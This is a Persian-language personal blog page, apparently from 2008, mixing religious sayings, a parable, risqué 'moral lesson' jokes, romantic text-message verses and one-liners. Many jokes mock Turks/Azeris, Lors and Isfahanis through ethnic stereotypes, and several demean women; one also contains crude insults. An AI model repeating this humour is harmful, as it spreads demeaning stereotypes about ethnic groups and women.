ü      اگر ميخواهيد قدر نعمت خدا را بدانيد به پائين تراز خود بنگريد نه به بالاتر از خود( نهج الفصاحة جمله 563)

ü      آدميزاد بر آن چيزيکه از آن منع شده سخت حريص است( نهج الفصاحة جمله 571)

ü      حسد نيکي ها را ميخورد چنانکه آتش هيزم را ميخورد( نهج الفصاحة جمله 616)

ü      هرکه از روش و کار ديگري راضي باشد مثل اوست( نهج الفصاحة جمله620 )

ü      خود پسندي و غرور عبادت هفتاد ساله را نابود ميکند( نهج الفصاحة جمله 656)

ü      خداوند کوشش را بر شما مقرر داشته پس تلاش وکوشش کنيد( نهج الفصاحة جمله 709)

ü      خوش اخلاقي گناه را محو ميکند چنانکه آفتاب يخ را آب ميکند( نهج الفصاحة جمله845 )

ü      گمان خوب به خدا داشتن از خوب عبادت کردن اوست( نهج الفصاحة جمله 846)

ü      دلها مانند ظرف است و بهتر از همه دليست که ظرفيت آن بيشتر است( نهج الفصاحة جمله935 )

ü      علاج ناداني سوال است( نهج الفصاحة جمله 946)

ü      دل مانند رشته اي است در بياباني به درختي آويخته که باد پيوسته آن را زيرو رو ميکند( نهج الفصاحة جمله947 )

ü      مردم مطابق پندارهاي خود محشور ميشوند( نهج الفصاحة جمله948 )

ü      همه خوبيها را به عقل ميتوان دريافت و هر که عقل ندارد دين ندارد( نهج الفصاحة جمله951 )

ü      هر چه زيادش مست ميکند ازکمش نيزاجتناب کنيد( نهج الفصاحة جمله 964)

ü      هر که با متهمان آميزش کند بيشتر از همه مردم سزاوار تهمت است( نهج الفصاحة جمله975 )

ü      نخستين مرحله عبادت خاموشي است( نهج الفصاحة جمله 976)

ü      از افراط در کار دين بپرهيزيد که پيشينيان شما از افراط در کار دين هلاک شدند( نهج الفصاحة جمله995 )

ü      از مدح کردن بپرهيزيد که مانند سر بريدن است( نهج الفصاحة جمله 1000)

 

 

 

 


   
 

 شايد 
يه روز يه کشاورز گاوش ميميرد مردم بهش ميگن حيف شد گاوت مرد او ميگه شايد چند روز ميگذره و دوباره گاو ديگري خريداري ميکنه مردم بهش ميگن چه خوب شد گاو قوي اي خريدي .مرد کشاورز ميگه شايد.چند روز بعد گاو لگدي به پسر مرد ميزنه وپاهاي پسر را ميشکنه مردم ميگن چه بد شد پاي پسرت شکست مرد کشاورز ميگه شايد

چندي ميگذره و در مملکت آنها جنگي به راه ميافته و تمام پسرهاي ده را به جنگ ميبرند.مردم به کشاورز ميگن چه خوب شد پاي پسر شکست بازهم مرد کشاورز ميگه شايد

 

+ نوشته شده در  شنبه 22 تیر1387ساعت 23:15  توسط سید حسین محمدی | 
 

يه شب ترکه بالا پشت بوم مي خوابه سردش مي شه پا مي شه در پشت بومو مي بنده
 

يه روز يه تركه كلاس رقص ميذاره . بعد از يه ماه ورشكست ميشه. چرا؟ چون به هر كي ميرقصيده شاباش ميداده

-------------------------------
در تبريز به مناسبت ميلاد حضرت علي هر كس اسمش ميلاد بوده بهش جايزه ميدن

يه روز يه ترکه چاق ميشه قل ميخوره


مغزه تركه رو ميشكافن ببينن توش چيه ميبينن يه لره نشسته داره فكر ميكنه

يه ترکه اسم نويسي ميکنه واسه موبايل… ميگه : خدا  کنه نوکيا در بياد

تركه ميره چلو کبابي گارسون مياد ميگه: چي ميل دارين ترکه ميگه: يه پرس چلو کباب گارسونه ميگه با کمال ميل تركه ميگه : نه با سماغ و دوغ

به ترکه ميگن اون پيامبري که رفت تو شکم ماهي اسمش چي بود؟ ميگه: پدر ژپتو

 

ترکه با چند بچه سوسول در يک مهماني نشسته بودند، يکي از پسرها مي گه : سگ من را هيچ سگي حريف نيست ترکه ميگه بندازش پيش مموشي من تا ببيني کدومشون قوي ترند. وقتي سگ بزرگ را در اتاق مموشي مي اندازند چند دقيقه بعد لاشه سگ از اتاق بيرون مي افتد پسر ديگر ميگه سگ من اون مموشي ات را درسته قورت مي ده.... سگ دومي هم به سرنوشت سگ اول دچار مي شه. پسر ها مي گن مگه اين مموشي شما چه جوري يه ؟ در اتاق را باز مي کنن و ميبينن که يک سوسمار در اتاق است . به ترکه مي گن : اين که سوسمار است! ترکه مي گه والله ما نمي دونيم اسمش چيه. ما تو ي خونه بهش مي گيم " مموشي

تركه با صورت باند پيچيده مياد تو خيابون. رفيقش ميگه چرا اينقدر به صورتت باند پيچيدي.تركه ميگه داشتم اتو ميكردم تلفن زنگ زد بجاي گوشي تلفن اتو رو گزاشتم دم گوشم.رفيقش ميگه پس اونور صورتت چي شده.تركه ميگه تا اتو رو گزاشتم زمين تلفن دو باره زنگ زد

يك روز 3 تا دراكولا نشسته بودند اولي گشنش شد گفت من رفتم چيزي بخورم. بالهاشو باز كرد و رفت و بعد از 5 دقيقه برگشت تموم دهانش خون آلود بود دوستاش گفتن كجا رفتي؟ گفت اون ساختمون بلند را ميبينيد؟ گفتند آره گفت رفتم طبقه سوم يك دختر خوشگل آنجا بود خونشو خوردم. دومي دهنش آب افتاد و گفت: ما هم رفتيم و بال زد رفت و بعد از 5 دقيقه برگشت دهنشو صورتش پر از خون بود. بقيه گفتن كجا رفتي؟ گفت اون ساختمان بلند اولي هيچي اون برج بلند دومي را ميبينيد؟ گفتند آره. گفت:رفتم اونجا دو تا دختر خوشگل بودن خون هر دو تاشون رو خوردم. سومي كه ترك بود ديد عجب كم آورده هيچي نگفت و بال زد و رفت. 20 دقيقه گذشت اون دو تا ديدند دراكولا تركه آمد آقا سر تا پا خون. فكشون كش آمد گفتن: بابا ايولا كجا بودي؟ تركه گفت: وللا اون ساختمون بلند اولي هيچي اون برج دومي هم هيچي اون برج سومي رو ميبينيد؟ اون دوتا گفتند: آره. تركه گفت: خوب من نديدم

+ نوشته شده در  شنبه 22 تیر1387ساعت 23:13  توسط سید حسین محمدی | 
چند نکته و نتيجه اخلاقي
درس اول :

يه روز مسوول فروش ، منشي دفتر ، و مدير شرکت براي ناهار به سمت سلف قدم مي زدند…

يهو يه چراغ جادو روي زمين پيدا مي کنن و روي اون رو مالش ميدن و جن چراغ ظاهر ميشه…

جن ميگه: من براي هر کدوم از شما يک آرزو برآورده مي کنم…

منشي مي پره جلو و ميگه: اول من ، اول من!

 من مي خوام که توي باهاماس باشم ، سوار يه قايق بادباني شيک باشم و هيچ نگراني و غمي از دنيا نداشته باشم !

پوووف! منشي ناپديد ميشه ...

! بعد مسوول فروش مي پره جلو و ميگه: حالا من ، حالا من

 من مي خوام توي هاوايي کنار ساحل لم بدم ، يه ماساژور شخصي و يه منبع بي انتهاي نوشيدني ! داشته باشم و تمام عمرم حال کنم ...

 پوووف! مسوول فروش هم ناپديد ميشه…

بعد جن به مدير ميگه: حالا نوبت توئه…

مدير ميگه: من مي خوام که اون دو تا هر دوشون بعد از ناهار توي شرکت باشن !!!

نتيجه : اخلاقي اينکه هميشه اجازه بده که رئيست اول صحبت کنه !

 

درس دوم :

يه روز يه کشيش به يه راهبه پيشنهاد مي کنه که با ماشين برسوندش به مقصدش…

راهبه سوار ميشه و راه ميفتن…

چند دقيقه بعد راهبه پاهاش رو روي هم ميندازه و کشيش زير چشمي يه نگاهي به پاي راهبه ميندازه…

راهبه ميگه: پدر روحاني ، روايت مقدس ??? رو به خاطر بيار… !

کشيش قرمز ميشه و به جاده خيره ميشه...

 چند دقيقه بعد بازم شيطون وارد عمل ميشه و کشيش موقع عوض کردن دنده ، بازوش رو با پاي راهبه تماس ميده…!

راهبه باز ميگه: پدر روحاني! روايت مقدس ??? رو به خاطر بيار!!!

کشيش زير لب يه فحش ميده و بيخيال ميشه و راهبه رو به مقصدش مي رسونه…

بعد از اينکه کشيش به کليسا بر مي گرده سريع ميدوه و از توي کتاب روايت مقدس ??? رو پيدا مي کنه و مي بينه که نوشته: به پيش برو و عمل خود را پيگيري کن… کار خود را ادامه بده و بدان که به جلال و شادماني که مي خواهي ميرسي !!!

نتيجه اخلاقي اينکه اگه توي شغلت از اطلاعات شغلي خودت کاملا آگاه نباشي، فرصتهاي بزرگي رو از دست ميدي!!!

 

 

درس سوم :

بلافاصله بعد از اينکه زن پيتر از زير دوش حمام بيرون اومد پيتر وارد حمام شد

همون موقع زنگ در خونه به صدا در اومد

زن پيتر يه حوله دور خودش پيچيد و رفت تا در رو باز کنه…

همسايه شون -رابرت- پشت در ايستاده بود

تا رابرت زن پيتر رو ديد گفت: همين الان ???? دلار بهت ميدم اگه اون حوله رو بندازي زمين!

بعد از چند لحظه ، زن پيتر حوله رو ميندازه و رابرت چند ثانيه تماشا مي کنه و ???? دلار به زن پيتر ميده و ميره…!

زن دوباره حوله رو دور خودش پيچيد و برگشت

پيتر پرسيد: کي بود زنگ زد؟ زن جواب داد: رابرت همسايه مون بود…

پيتر گفت: خوبه… چيزي در مورد ???? دلاري که به من بدهکار بود گفت؟!!

نتيجه اخلاقي: اگه شما اطلاعات حساس مشترک با کسي داريد که به اعتبار و آبرو مربوط ميشه ، هميشه بايد در وضعيتي باشيد که بتونيد از اتفاقات قابل اجتناب جلوگيري کنيد !!!

 

درس چهارم :

 

 من خيلي خوشحال بودم !

من و نامزدم قرار ازدواجمون رو گذاشته بوديم  والدينم خيلي کمکم کردند  دوستانم خيلي تشويقم کردند و نامزدم هم دختر فوق العاده اي بود…

فقط يه چيز من رو يه کم نگران مي کرد و اون هم خواهر نامزدم بود…!

اون دختر باحال ، زيبا و جذابي بود که گاهي اوقات بي پروا با من شوخي هاي ناجوري مي کرد و باعث مي شد که من احساس راحتي نداشته باشم…

يه روز خواهر نامزدم با من تماس گرفت و از من خواست که برم خونه شون براي انتخاب مدعوين عروسي !

سوار ماشينم شدم و وقتي رفتم اونجا اون تنها بود و بلافاصله رک و راست به من گفت :

اگه همين الان ??? دلار به من بدي بعدش حاضرم با تو …………….!

من شوکه شده بودم و نمي تونستم حرف بزنم…

اون گفت: من ميرم توي اتاق خواب و اگه تو مايل به اين کار هستي بيا پيشم…

وقتي که داشت از پله ها بالا مي رفت من بهش خيره شده بودم و بعد از رفتنش چند دقيقه ايستادم و بعد به طرف در ساختمون برگشتم و از خونه خارج شدم…!

يهو با چهره نامزدم و چشمهاي اشک آلود پدر نامزدم مواجه شدم!!!

پدر نامزدم من رو در آغوش گرفت و گفت: تو از امتحان ما موفق بيرون اومدي…!

ما خيلي خوشحاليم که چنين دامادي داريم  و هيچکس بهتر از تو نمي تونستيم براي دخترمون پيدا کنيم به خانوادهء ما خوش اومدي !!!

نتيجه اخلاقي: هميشه کيف پولتون رو توي داشبورد ماشينتون بذاريد !!!

 

 

درس پنجم :

 يه شب خانم خونه به خونه بر نميگرده و تا صبح پيداش نميشه!

صبح بر ميگرده خونه و به شوهرش ميگه كه ديشب مجبور شده خونه يكي از دوستهاي صميميش (مونث) بمونه...

شوهر بر ميداره به ?? تا از صميمي ترين دوستهاي زنش زنگ ميزنه ولي هيچكدومشون حرف خانم خونه رو تاييد نميكنن!

يه شب آقاي خونه تا صبح برنميگرده خونه. صبح وقتي مياد به زنش ميگه كه ديشب مجبور شده خونه يكي از دوستهاي صميميش (مذكر) بمونه...

خانم خونه بر ميداره به ?? تا از صميمي ترين دوستهاي شوهرش زنگ ميزنه : ?? تاشون تاييد ميكنن كه آقا تمام شب رو خونهء اونا مونده! ? تاي ديگه حتي ميگن كه آقا هنوزم خونه اونا پيش اوناست !!!

نتيجه اخلاقي: يادتون باشه كه مردها دوستهاي بهتري هستند !

 

 

درس ششم :

 چهار تا دوست كه ?? سال بود همديگه رو نديده بودند توي يه مهموني همديگه رو مي بينن و شروع مي كنن در مورد زندگي هاشون براي همديگه تعريف كنن...

بعد از مدتي يكي از اونا بلند ميشه ميره دستشويي. سه تاي ديگه صحبت رو مي كشونن به تعريف از فرزندانشون :
اولي: پسر من باعث افتخار و خوشحالي منه. اون توي يه كار عالي وارد شد و خيلي سريع پيشرفت كرد.

پسرم درس اقتصاد خوند و توي يه شركت بزرگ استخدام شد و پله هاي ترقي رو سريع بالا رفت و حالا شده معاون رئيس و اونقدر پولدار شده كه حتي براي تولد بهترين دوستش يه مرسدس بنز بهش هديه داد !
دومي: جالبه. پسر من هم مايه افتخار و سرفرازي منه. توي يه شركت هواپيمايي مشغول به كار شد و بعد دوره خلباني گذروند و سهامدار شركت شد و الان اكثر سهام اون شركت رو تصاحب كرده. پسرم اونقدر پولدار شد كه براي تولد صميميترين دوستش يه هواپيماي خصوصي بهش هديه داد !!!
سومي: خيلي خوبه. پسر من هم باعث افتخار من شده ...

اون توي بهترين دانشگاههاي جهان درس خوند و يه مهندس فوق العاده شد. الان يه شركت ساختماني بزرگ براي خودش تاسيس كرده و ميليونر شده. پسرم اونقدر وضعش خوبه كه براي تولد بهترين دوستش يه ويلاي ???? متري بهش هديه داد!


هر سه تا دوست داشتند به همديگه تبريك مي گفتند كه دوست چهارم برگشت سر ميز و پرسيد اين تبريكات به خاطر چيه؟!

 سه تاي ديگه گفتند: ما در مورد پسرهامون كه باعث غرور و سربلندي ما شدن صحبت كرديم راستي تو در مورد فرزندت چي داري تعريف كني؟!
چهارمي گفت: دختر من رقاص کاباره شده و شبها با دوستاش توي يه كلوپ مخصوص كار ميكنه!

سه تاي ديگه گفتند: اوه مايه خجالته چه افتضاحي !!!

 دوست چهارم گفت: نه! من ازش ناراضي نيستم. اون دختر منه و من دوستش دارم. در ضمن زندگي بدي هم نداره.

اتفاقا همين دو هفته پيش به مناسبت تولدش از سه تا از صميمي ترين دوست پسراش يه مرسدس بنز و يه هواپيماي خصوصي و يه ويلاي ???? متري هديه گرفت !!!

نتيجه اخلاقي: هيچوقت به چيزي كه كاملا در موردش مطمئن نيستي افتخار نكن !!!

 

 

درس هفتم :

توي اتاق رختكن كلوپ گلف ، وقتي همه آقايون جمع بودند يهو يه موبايل روي يه نيمكت شروع ميكنه به زنگ زدن.

مردي كه نزديك موبايل نشسته بود دكمه اسپيكر موبايل رو فشار ميده و شروع مي كنه به صحبت.

بقيه آقايون هم مشغول گوش كردن به اين مكالمه ميشن ...
مرد: الو؟
صداي زن اونطرف خط: الو سلام عزيزم. تو هنوز توي كلوپ هستي؟
مرد: آره !

زن: من توي فروشگاه بزرگ هستم

 اينجا يه كت چرمي خوشگل ديدم كه فقط ???? دلاره! اشكالي نداره اگه بخرمش؟

مرد : نه. اگه اونقدر دوستش داري اشكالي نداره!
زن: من يه سري هم به نمايشگاه مرسدس بنز زدم و مدلهاي جديد ???? رو ديدم. يكيشون خيلي قشنگ بود قيمتش ?????? دلار بود !
مرد: باشه. ولي با اين قيمت سعي كن ماشين رو با تمام امكانات جانبي بخري !
زن: عاليه. اوه  يه چيز ديگه  اون خونه اي رو كه قبلا ميخواستيم بخريم دوباره توي بنگاه گذاشتن براي فروش. ميگن ?????? دلاره
مرد: خب… برو تا فروخته نشده پولشو بده. ولي سعي كن ?????? دلار بيشتر ندي !!!
زن: خيلي خوبه. بعدا مي بينمت عزيزم. خداحافظ
مرد: خداحافظ
بعدش مرد يه نگاهي به آقايوني كه با حسرت نگاهش ميكردن ميندازه و ميگه: كسي نميدونه كه اين موبايل مال كيه ؟!

نتيجه اخلاقي: هيچوقت موبايلتونو جايي جا نذارين !!!

 

 

درس هشتم :

يه زوج ?? ساله به مناسبت سي و پنجمين سالگرد ازدواجشون رفته بودند بيرون كه يه جشن كوچيك دو نفره بگيرن.

وقتي توي پارك زير يه درخت نشسته بودند يهو يه فرشته كوچيك خوشگل جلوشون ظاهر شد و گفت: چون شما هميشه يه زوج فوق العاده بودين و تمام مدت به همديگه وفادار بودين من براي هر كدوم از شما يه دونه آرزو برآورده ميكنم!
زن از خوشحالي پريد بالا و گفت:

! چه عالي! من ميخوام همراه شوهرم به يه سفر دور دنيا بريم

فرشته چوب جادوييش رو تكون داد و پوف! دو تا بليط درجه اول براي بهترين تور مسافرتي دور دنيا توي دستهاي زن ظاهر شد !
حالا نوبت شوهر بود كه آرزو كنه .

 مرد چند لحظه فكر كرد و گفت:

… اين خيلي رمانتيكه ولي چنين بخت و شانسي فقط يه بار توي زندگي آدم پيش مياد

! بنابراين خيلي متاسفم عزيزم آرزوي من اينه كه يه همسري داشته باشم كه ?? سال از من كوچيكتر باشه
زن و فرشته جا خوردند و خيلي دلخور شدند. ولي آرزو آرزوئه و بايد برآورده بشه.

فرشته چوب جادوييش رو تكون داد و پوف! مرد ?? سالش شد !!!

نتيجه اخلاقي: مردها ممكنه زرنگ و بدجنس باشند ، ولي فرشته ها زن هستند !!!

 

 

درس نهم :

: يه مرد ?? ساله ميره براي چك آپ. دكتر ازش در مورد وضعيت فعليش مي پرسه و پيرمرد با غرور جواب ميده
هيچوقت به اين خوبي نبودم. تازگيا با يه دختر ?? ساله ازدواج كردم و حالا باردار شده و كم كم داره موقع زايمانش ميرسه

نظرت چيه دكتر؟!
دكتر چند لحظه فكر ميكنه و ميگه: خب  بذار يه داستان برات تعريف كنم. من يه نفر رو مي شناسم كه شكارچي ماهريه.

اون هيچوقت تابستونا رو براي شكار كردن از دست نميده. يه روز كه مي خواسته بره شكار از بس عجله داشته اشتباهي چترش رو به جاي تفنگش بر ميداره و ميره توي جنگل!

همينطور كه ميرفته جلو يهو از پشت درختها يه پلنگ وحشي ظاهر ميشه و مياد به طرفش شكارچي چتر رو مي گيره به طرف پلنگ و نشونه مي گيره و ….. بنگ! پلنگ كشته ميشه و ميفته روي زمين!!!
پيرمرد با حيرت ميگه: اين امكان نداره! حتما يه نفر ديگه پلنگ رو با تير زده!
دكتر يه لبخند ميزنه و ميگه: دقيقا منظور منم همين بود !!!

نتيجه اخلاقي: هيچوقت در مورد چيزي كه مطمئن نيستي نتيجه كار خودته ادعا نداشته نباش !!!

 

 

+ نوشته شده در  شنبه 22 تیر1387ساعت 23:12  توسط سید حسین محمدی | 
 

عشق را رنگ آبي زدم، دوست داشتن را قرمز، نامردي را سياه، دروغ را سفيد، ولي نمي دانم چرا به تو كه ميرسم نمي دانم مهرباني چه رنگي است!


من پذيرفتم كه عشق افسانه است اين دل درد آشنا ديوانه است مي روم شايد فراموشت كنم با فراموشي هم آغوشت كنم مي روم از رفتن من شاد باش از عذاب ديدنم آزادباش گر چه تو تنها تر از ما مي روي آرزو دارم ولي عاشق شوي آرزو دارم بفهمي درد را تلخي بر خوردهاي سرد را


--------------------------------------------------------------------------------

وطن آدمي را بر هيچ نقشه اي نشاني نيست / وطن آدمي در قلب كساني است كه دوستش مي دارند...


--------------------------------------------------------------------------------

دعاي خانم ها با خدا : خدايا به من عشق بده تا شوهرم را درك كنم / صبر بده تا او را بپذيرم / اما قدرت نده كه ميزنم لهش مي كنم.


--------------------------------------------------

ستاد مبارزه با بد حجابي اعلام كرد از اين به بعد كسي حق ندارد ميرزا قاسمي و عسل را با هم تو يخچال نگه دارد مگر اينكه در يخچال باز باشد.


-----------------------------------------------------------

ميدوني پشه ها روزا كجا مي خوابن؟ رو دودوله كانگروها ! چون دستشون كوتاهه نمي تونن بزننشون ! حالا فهميدي چرا كانگرو ها روزا بالا پايين مي پرن.....!!!
-----------------------------------

دنيا دو روز است . يك روز با تو يك روز عليه تو . روزي كه با توست مغرور مباش روزي كه عليه توست صبور باش هر دو پايان پذير است.


-----------------------------------------------------------

اي كاش مي دانستم بعد از مرگم اولين اشك از چشمان چه كسي جاري مي شود / و آخرين سياهپوش كه مرا به فراموشي ميسپارد چه كسي خواهد بود.

---------------------

گفته بودي كه چرا محو تماشاي مني ؟ آنچنان مات كه يكدم مژه بر هم نزني . مژه بر هم نزنم تا ز دستم نرود ناز چشم تو به قدر مژه بر هم زدني...

----------------------------------------------------------

مي دوني فرق تو با عشق ، زندگي و گل چيه؟؟؟

عشق يك كلمه است ولي تو معني اون هستي. زندگي يك اجبار است ولي تو دليل اون هستي.

گل يك گياه است و تو عطر اون هستي.


----------------------

تركه اونقدر واسه دوست دخترش نامه ميفرسته كه بالاخره دوست دخترش با نامه رسون ازدواج ميكنه...!!!


----------------------

2تا فحش جديد از تركا:

يه كاري نكن دهنمو باز كنم برينم بهت...!!!

ميخواي سر من كلاه بذاري؟؟؟ريدم تو اون كلاهي كه ميخاي سر من بذاري...!!!


-----------------------------------------------------------

گردو خاك تنهايي دلم را با جاذبه نگاهت زدودي...خانه قلبم را از غم پاك كردي...

حالا كه انقدر زحمت كشيدي بيا اين دستمالو بگير ميزم پاك كن...!!!


-----------------------------------------------------------

زن از شوهرش ميپرسه : عزيزم تو زن خوشگل دوست داري يا زن با شعور؟

مرده ميگه : هيچ كدوم عزيزم من تورو دوست دارم...!!!

-----------------------------------------------------------

جسد 20 نفر از تركهاي جزيره كيش كه پياده به سمت حرم امام به راه افتاده بودند - امروز از آبهاي خليج فارس بيرون كشيده شد


-----------------------------------------------------------

شب بهت اس ام اس دادم

كه بگم تنهام , مثله ماه .

كوچيكم مثله ستاره

اما دوست دارم به قد آسموني كه اندازه نداره !!!


-----------------------------------------------------------

سخته لحظه هاي رفتن ميدونم سخته تو خودم شكستن ميدونم با يه دنيا غم و فرياد رو لبام سخته از هيچي نگفتن ميدونم

كساني كه در انتظار زمان نشسته اند، آنرا از دست خواهند داد.


-----------------------------------------------------------

زندگي اجبار است ... مرگ انتظار است ... عشق يك بار است ... فكر تو تكرار است ... جدايي دشوار است


-----------------------------------------------------------

 اداره كل مخابرات كشور به هموطنان لر براي هزارمين بار هشدار داد كه با كارت هوشمند سوخت نميتوان به جايي زنگ زد


-----------------------------------------------------------

زندگي قصه مرد يخ فروشي است كه از او پرسيدند : فروختي ؟ گفت : نخريدند تمام شد


-----------------------------------------------------------

وقتي كه من عاشق شدم .... شيطان به نامم سجده كرد ..... ادم زميني تر شد و عالم به ادم سجده كرد ............... من بودم و چشمان تو .... نه آتشي و نه گلي ..... چيزي نميدانم از اين ديوانگي و عاشقي


-----------------------------------------------------------

 از خدا پرسيدم چي دوست داري ؟ گفت : سخاوت . ديوانه گفت: حماقت . غم گفت: ملامت . كوه گفت: صلابت . معشوق گفت : نگاهت . فداي تو كه گفتي : رفاقت


-----------------------------------------------------------

 خيلي سخته توي پاييز با غريبي آشنا شي اما وقتي كه بهار شد يه جوري ازش جدا شي خيلي سخته يه غريبه به دلت يه وقت بشينه بعد اون بگه كه هرگز نميخواد تو رو ببينه


------------------------------------------------

همه ي پسرا دوست دارند يه دختر گيرشون بياد كه مثل اسب نجيب باشه مثل سگ وفادار باشه ومثل گوسفند سر به زير باشه اما بيشتر پسرا به آرزوشون مي رسن و دختري گيرشون مياد كه مثل اسب جفتك ميندازه مثل سگ پاچه مي گيره ومثل گوسفند نمي فهمه


-----------------------------------------------------------

بيادت باشه دنباله ? چيز ندويي :  1ـ اتوبوس ? ـ مترو  ? ـ دختر . حالا چرا؟ چون هر كدومشون برن?? دقيقه بعد يكي ديگه مياد


-----------------------------------------------------------

كنسرت بزرگ هايده و مهستي 30 ژوئن در تالار بزرگ بهشت سيتي برگزار خواهد شد. از مردگان عزيز دعوت ميشود هرچه سريعتر به مراكز فروش مراجعه نمايند


-----------------------------------------------------------

قلبم رو شكستي ولي من بيشتر از قبل دوستت دارم ميدوني چرا ؟؟؟ چون حالا هر تيكه از قلبم تورو جداگونه دوست داره


-----------------------------------------------------------

دخنرا خيلي موجودات عجيبي هستن : اگه بهشون محل نذاري ميگن سردي اگه بذاري مرد نيستي ، اگه به حرفش گوش كني زن ذليلي اگه گوش نكني خود خواهي ، اگه بوسش نكني خائني اگه بوسش كني ميگن داري سوء استفاده ميكني ، اگه به يه دختر ديگه نگاه كني چشم چروني ولي اگه اون به پسر نگاه كنه قصدي نداره ، اگه تو دير كني بد قولي ولي اگه اون دير كنه بهت ميگه زنها رو نمي شناسي اينجوري شيرين تر ميشن


-----------------------------------------------------------

وقتي كه من عاشق شدم .... شيطان به نامم سجده كرد ..... ادم زميني تر شد و عالم به ادم سجده كرد ............... من بودم و چشمان تو .... نه آتشي و نه گلي ..... چيزي نميدانم از اين ديوانگي و عاشقي


-----------------------------------------------------

اگه چشمات پرسيد بگو نديدمش... اگه گوش هات پرسيد بگو نشنيدمش... اگه دستت لرزيد بگو مال سرماست... اما اگه دلت لرزيد به خودت دروغ نگو دوستش داري


-------------------------------------------------------

يارو تو موزه لوور فرانسه خسته ميشه يه صندلي خالي ميبينه ميره ميشينه. مامور موزه با سرعت به طرفش مياد و بهش ميگه: آقا پاشو اين صندلي ناپلئونه!!! ميگه: خُب بابا ! هر وقت اومد بلند ميشم!


-----------------------------------------------------------

خورشيد از عاشق كي ميگه دوره / شب من با بودن تو يه پارچه نوره / عشق تو مثل طاق بلوره / تو نباشي شباي من چه سوت و كوره


---------------------------------------------------------

پرچم كمك داور سرنوشت مدتهاست به علامت در افسايد ماندن شادي هايم بالاست


------------------------------------------------------------
جز تو از هيچ كسي پي ام نميخوام! بي تو من ياهو مسنجر نميخوام! تو كه نيستي سيستممو نميخوام! يكي پرسيد اگه آي دي ات هك بشه؟ حتي اين خيال زشتو نميخوام! من تو را ميخوام...تو را ميخوام اونا را نميخوام


-----------------------------------------------------------

مي پرسم: اثر كيست؟ مي گويد: نمي دانم! مي پرسم: اين نوشته معني اش چيست؟ مي گويد: نمي دانم! مي خواهم بپرسم ... نگاهش مي كنم . چشمان زلالش پايين است. دلم مي گيرد. دوست دارم چشمانش را بالا بياورد تا بگويم اينها مهم نيست، تو يك چيز را خوب مي داني، خوبي و مهرباني را


-----------------------------------------------------------

دستت رو بذار روي قلبت ..اين ساعت عمرت كه داره تيك تيك ميكنه....جالبه هموني كه بهت زندگي ميده برات شمارش معكوس رو شروع كرده...منتظر باش اما معتل نشو....تحمل كن اما توقف نكن....قاتع باش اما لج باز نباش....صريح باش اما گستاخ نباش....بگو اره اما نگو حتما....بگو نه اما نگو ابدا


-----------------------------------------------------------

goosfande mire jigaraki mige tike tike kardi dele mano


---------------------------------------------------------

 

اگر در زندگي جرأت عاشق شدن را نداري، لا‌اقل شعور معشوقه بودن را داشته باش

 

boghz bozorgtarin noe eteraze,age beshkane dige eteraz nist eltemasse...!!


-----------------------------------------------------------

اگه ميدونستي چقدر تنهام برام اشك مي ريختي اگه مي دونستي چقدر اشك ميريزم هيچ وقت تنهام نمي ذاشتي.


--------------------------------------------

وقتي دهكده اي مي سوزد همه دودش را ميبينند اما وقتي قلبي مي سوزد كسي حتي شعله اش را نمي بيند


------------------------------------------------------

وقتي خاطره هاي آدم زياد ميشه ديوار اتاقشون پر عكس ميشه اما هميشه دلت واسه اوني تنگ ميشه كه نميتوني عكسشو به ديوار بزني


-----------------------------------------------------------

خنده بر لب ميزنم تا كس نداند راز من....ورنه اين دنيا كه ما ديديم خنديدن نداشت

-----------------------------------

سخته لحظه هاي رفتن ميدونم سخته تو خودم شكستن ميدونم با يه دنيا غم و فرياد رو لبام سخته از هيچي نگفتن ميدونم

كساني كه در انتظار زمان نشسته اند، آنرا از دست خواهند داد.
------------------------------------

زندگي قصه مرد يخ فروشي است كه از او پرسيدند : فروختي ؟ گفت : نخريدند تمام شد


--------------------------------


ما خيلي از انقلاب دور شديم ... از امام حسين فاصله گرفتيم ... شهدا رو پشت سر گذاشتيم ... كم كم داريم مي رسيم به ميدون خراسون ... كسي پياده نمي شه؟

------------------------------
از طرف مي پرسن پرچم دزدان دريايي چه معني داره؟ مي گه: خوردن كله پاچه تو دريا ممنوع!

----------------
ميازار موري كه دانه كش است كه جان دارد و جانم به قربانت ولي حالا چرا عاقل كند كاري كه باز آيد به كنعان غم مخور كلبه احزان شود روزي ز سر سنگ عقابي به هوا خواستن توانستن است!
-----------------------------------
تو جاده پليس جلو يه ماشين رو مي گيره و ميگه چون از صبح اولين كسي هستي كه كمربند ايمني بستي برنده 100هزار تومن پول شدي. حالا مي خواي باهاش چيكار كني؟ مرد مي گه: مي رم گواهينامه مي گيرم . زنش سريع مي گه: جناب سروان اين وقتي اكس مي زنه پرت و پلا مي گه . بچشون از اون پشت مي گه: بابا نگفتم با ماشين دزدي قاچاق نكنيم؟ يه صدا از صندوق عقب مي ياد: از مرز رد شديم يا نه؟
-------------------------
چقدر حيفه كه تو اين مملكت موندي... هيچكس قدرت رو نميدونه... اگه بري هند، همه‌ي مردمش تو رو ميپرستن!
------------------------------
فيلم هاي در حال ساخت جام جهاني: 1 پت و مت با بازيه ميرزاپور و رحمان رضايي 2 تام و جري با هنرمندي فيگو و كعبي 3 2قلوهاي افسانه اي با بازيه برانكو و چلنگر 4 زندگي پيامبران با حضور افتخاريه علي دايي در نقش حضرت نوح

 

 

مي دوني يه اصفهاني رو چه جوري شكنجه مي دن؟ مي بندنش به تير چراغ برق مي گن كوچه بغلي شام مي دن


 

ترکه مي ره دكتر مي گه من شبا خواب مي بينم با خرا فوتبال بازي مي كنم. دكتر مي گه بيا اين قرصا رو بخور مي گه: مي شه از فردا بخورم امشب فيناله

 

تهرانيه داشت واسه ابادانيه لاف مي زد كه من يه سگ دارم وقتي مي خواد بياد تو خونه در مي زنه. ابادانيه گفت : ولك مگه كليد نداره؟!!!

 
 

اصفهانيه سوار تاكسي ميشه، آخر مسير به راننده ميگه: حاج آقا كرايه ما چقدر شدس؟ يارو ميگه: 50 تومن. اصفهانيه ميگه: چه خبرس؟! اولندش كه 40تومن بيشتر نيميشد، بعدشم من 30تومن بيشتر ندارم، حالا فعلا اين 20 تومنو بگير... يارو پولو ميگيره، ميشمره ميبينه 10 تومنه!

 


لره ميره مكه. وقتي برميگرده رفقاش ميپرسن: تعريف كن چجوريا بود؟ لره ميگه: ايلده باز خدا نبود، ملت همه تو حياط ولو بودن!

 


يارو تلويزيون رو روشن ميكنه. كانال 1: قرآن. كانال 2: قرآن. كانال 3: قرآن. كانال 4: قرآن. كانال 5: قرآن. كانال 6: قرآن. پا ميشه تلويزيون رو ميبوسه ميذاره رو طاقچه!

 

 ---------------------------------------------

